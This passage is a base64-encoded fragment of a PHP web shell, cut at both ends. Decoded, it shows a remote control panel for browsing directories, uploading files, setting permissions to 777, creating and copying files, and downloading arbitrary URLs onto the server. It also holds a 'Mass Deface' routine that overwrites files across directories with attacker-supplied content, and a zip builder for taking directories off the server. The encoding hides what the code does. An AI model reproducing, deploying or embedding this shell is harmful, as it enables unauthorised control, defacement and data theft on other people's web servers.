PSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJtYXNzIil7DQplY2hvICRoZWFkLiRmb3JtcC4nPHAgYWxpZ249ImNlbnRlciI+W01hc3MgRGVmYWNlXTxicj48aW5wdXQgbmFtZT1tZmZ3IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4nIiBzaXplPTUwPjxpbnB1dCBuYW1lPW1hc3NuYW1lIHZhbHVlPSJkZWYuaHRtIiBzaXplPTEwPjxicj48dGV4dGFyZWEgbmFtZT1tYXNzc291cmNlIGNvbHM9NjAgcm93cz0xOD5Tb3VyY2U8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgTWFzcyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KaWYgKCRfUE9TVFsnbWZmdyddKXsNCiRhcnJmaWxlbGlzdD1kaXJwbWFzcygkX1BPU1RbJ21mZncnXSwkX1BPU1RbJ21hc3NuYW1lJ10sJF9QT1NUWydtYXNzc291cmNlJ10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9QT1NUWydhZGxyJ10gJiYgJF9QT1NUWydhZHNyJ10pew0KJHVybCA9ICRfUE9TVFsnYWRsciddOw0KJG5ld2ZuYW1lID0gJF9QT1NUWydhZHNyJ10gLiBiYXNlbmFtZSgkdXJsKTsNCiRmaWxlID0gZm9wZW4gKCR1cmwsICJyYiIpOw0KaWYgKCRmaWxlKSB7DQogICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiIik7DQogIGlmICgkbmV3ZikNCiAgd2hpbGUoIWZlb2YoJGZpbGUpKSB7DQogICAgZndyaXRlKCRuZXdmLCBmcmVhZCgkZmlsZSwgMTAyNCAqIDggKSwgMTAyNCAqIDggKTsNCiAgfQ0KICBhbGVydCgiRmlsZSBEb3dubG9hZGVkIFN1Y2Nlc3MiKTsNCn1lbHNle2FsZXJ0KCJDYW4gTm90IE9wZW4gRmlsZSIpO30NCmlmICgkZmlsZSkgew0KICBmY2xvc2UoJGZpbGUpOw0KfQ0KaWYgKCRuZXdmKSB7DQogIGZjbG9zZSgkbmV3Zik7DQp9DQp9DQppZigkX0dFVFsnZG8nXT09ImRvd24iIGFuZCAkX0dFVFsndHlwZSddPT0nZmlsZScpew0KZG93bmxvYWQoJF9HRVRbJ2FkZHJlc3MnXSwkX0dFVFsnZmlsZW5hbWUnXSk7fQ0KaWYoJF9HRVRbJ2RvJ109PSJkb3duIiBhbmQgJF9HRVRbJ3R5cGUnXT09J2Rpcicpew0KY2xhc3MgemlwZmlsZQ0Kew0KdmFyICRkYXRhc2VjID0gYXJyYXkoKTsgDQp2YXIgJGN0cmxfZGlyID0gYXJyYXkoKTsgDQp2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQp2YXIgJG9sZF9vZmZzZXQgPSAwOw0KZnVuY3Rpb24gYWRkX2RpcigkbmFtZSkNCnsNCiRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQokZnIgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQokZnIgLj0gIlx4MGFceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwXHgwMFx4MDAiOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KJGZyIC49IHBhY2soInYiLCAwICk7DQokZnIgLj0gJG5hbWU7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7IA0KJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KJGZyIC49IHBhY2soIlYiLCR1bmNfbGVuKTsNCiR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoIiIsICR0aGlzLT5kYXRhc2VjKSk7DQokY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDBhXHgwMCI7IA0KJGNkcmVjIC49Ilx4MDBceDAwIjsgDQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMFx4MDBceDAwIjsgDQokY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KJGNkcmVjIC49IHBhY2soIlYiLDApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwwKTsgDQokY2RyZWMgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGV4dCA9ICJceDAwXHgwMFx4MTBceDAwIjsNCiRleHQgPSAiXHhmZlx4ZmZceGZmXHhmZiI7DQokY2RyZWMgLj0gcGFjaygiViIsIDE2ICk7DQokY2RyZWMgLj0gcGFjaygiViIsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQp9DQpmdW5jdGlvbiBhZGRfZmlsZSgkZGF0YSwgJG5hbWUpDQp7DQokbmFtZSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJG5hbWUpOw0KJGZyID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KJGZyIC49ICJceDE0XHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwOFx4MDAiOyANCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQokY3JjID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQokemRhdGEgPSBzdWJzdHIoIHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7DQokZnIgLj0gcGFjaygiViIsJGNfbGVuKTsNCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7DQokZnIgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRmciAuPSBwYWNrKCJ2IiwgMCApOw0KJGZyIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiRmciAuPSBwYWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7IA0KJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgiIiwgJHRoaXMtPmRhdGFzZWMpKTsNCiRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgxNFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgwOFx4MDAiOw0KJGNkcmVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwkY3JjKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJGNfbGVuKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiRjZHJlYyAuPSBwYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soIlYiLCAzMiApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KJGNkcmVjIC49ICRuYW1lOw0KJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIG